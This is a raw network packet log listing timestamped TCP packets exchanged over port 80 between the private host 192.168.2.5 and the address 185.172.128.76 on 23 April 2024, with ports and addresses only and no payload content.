Apr 23, 2024 09:32:56.794644117 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.794651031 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.794661999 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.794672966 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.794683933 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.794687986 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.794696093 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.794704914 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.794708014 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.794718981 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.794723988 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.794729948 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.794742107 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.794750929 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.794754028 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.794764042 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.794766903 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.794775009 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.794785976 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.794790983 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.794796944 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.794807911 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.794819117 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.794820070 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.794828892 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.794840097 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.794850111 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.794858932 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.794861078 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.794872046 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.794872999 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.794883966 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.794894934 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.794905901 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.794912100 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.794917107 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.794928074 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.794939041 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.794939995 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.794951916 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.794960976 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.794964075 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.794975042 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.794986010 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.794996977 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.795001030 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.795008898 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.795020103 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.795030117 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.795041084 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.795042992 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.795053005 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.795063019 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.795064926 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.795075893 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.795083046 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.795087099 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.795098066 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.795109987 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.795120955 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.795130014 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.795130968 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.795141935 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.795152903 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.795155048 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.795165062 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.795176029 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.795177937 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.795186996 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.795197964 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.795206070 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.795207977 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.795218945 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.795231104 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.795231104 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.795242071 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.795250893 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.795253038 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.795264006 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.795277119 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.795288086 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.795289993 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.795300007 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.795310974 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.795320988 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.795324087 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.795331955 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.795341015 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.795341969 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.795353889 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.795365095 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.795376062 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.795387983 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.795392036 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.795398951 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.795409918 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.795419931 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.795420885 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.795432091 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.795443058 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.795447111 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.795454025 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.795464993 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.795476913 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.795480967 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.795488119 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.795499086 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.795510054 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.795521021 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.795527935 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.795531988 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.795540094 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.795542955 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.795555115 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.795561075 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.795566082 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.795578003 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.795583010 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.795588970 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.795600891 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.795610905 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.795619965 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.795623064 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.795634985 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.795645952 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.795656919 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.795661926 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.795667887 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.795680046 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.795684099 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.795691013 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.795701981 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.795708895 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.795721054 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.795727015 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.795732975 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.795742989 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.795751095 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.795756102 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.795767069 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.795778990 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.795782089 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.795790911 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.795802116 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.795814037 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.795818090 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.795826912 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.795838118 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.795845032 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.795849085 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.795861006 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.795870066 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.795872927 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.795883894 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.795888901 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.795896053 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.795907021 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.795912027 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.795918941 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.795929909 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.795933008 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.795941114 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.795957088 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.795958996 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.795969009 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.795979023 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.795981884 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.795989990 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.796000957 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.796004057 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.796013117 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.796025038 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.796026945 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.796039104 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.796051025 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.796072006 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.796117067 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.001867056 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.001976967 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.002017021 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.002048016 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.002053976 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.002078056 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.002108097 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.002146959 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.002146959 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.002162933 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.002182007 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.002182961 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.002218962 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.002228975 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.002254963 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.002259970 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.002290010 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.002295971 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.002325058 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.002332926 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.002361059 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.002377987 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.002397060 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.002414942 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.002433062 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.002449989 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.002468109 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.002469063 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.002502918 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.002513885 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.002537966 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.002543926 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.002573967 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.002579927 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.002609968 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.002619028 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.002646923 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.002676964 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.002684116 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.002686024 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.002720118 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.002728939 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.002756119 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.002759933 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.002790928 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.002798080 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.002825975 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.002832890 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.002861023 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.002876997 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.002897024 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.002904892 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.002932072 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.002938986 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.002969027 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.002975941 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.003004074 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.003025055 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.003040075 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.003047943 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.003076077 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.003084898 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.003110886 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.003115892 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.003146887 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.003151894 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.003181934 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.003211975 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.003216982 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.003220081 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.003252029 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.003258944 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.003287077 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.003290892 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.003323078 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.003329039 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.003357887 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.003365040 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.003392935 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.003400087 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.003428936 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.003432989 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.003463984 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.003468990 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.003499985 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.003520966 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.003535986 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.003541946 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.003570080 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.003578901 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.003606081 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.003612995 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.003642082 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.003645897 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.003679037 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.003686905 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.003716946 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.003740072 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.003751993 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.003757954 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.003787041 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.003797054 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.003823042 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.003827095 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.003859997 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.003890038 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.003895044 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.003896952 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.003930092 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.003941059 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.003966093 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.003972054 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.004000902 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.004020929 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.004035950 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.004045010 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.004071951 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.004080057 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.004115105 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.004136086 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.004178047 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.004203081 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.004240036 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.004247904 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.004276991 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.004281044 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.004312992 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.004317999 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.004348993 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.004354000 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.004384041 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.004391909 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.004420042 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.004431963 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.004455090 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.004467010 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.004491091 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.004496098 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.004525900 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.004534006 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.004561901 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.004566908 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.004596949 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.004611015 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.004631996 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.004631996 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.004667997 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.004674911 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.004703999 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.004705906 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.004740000 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.004750013 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.004775047 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.004782915 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.004812002 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.004816055 CEST	49704	80	192.168.2.5	185.172.128.76
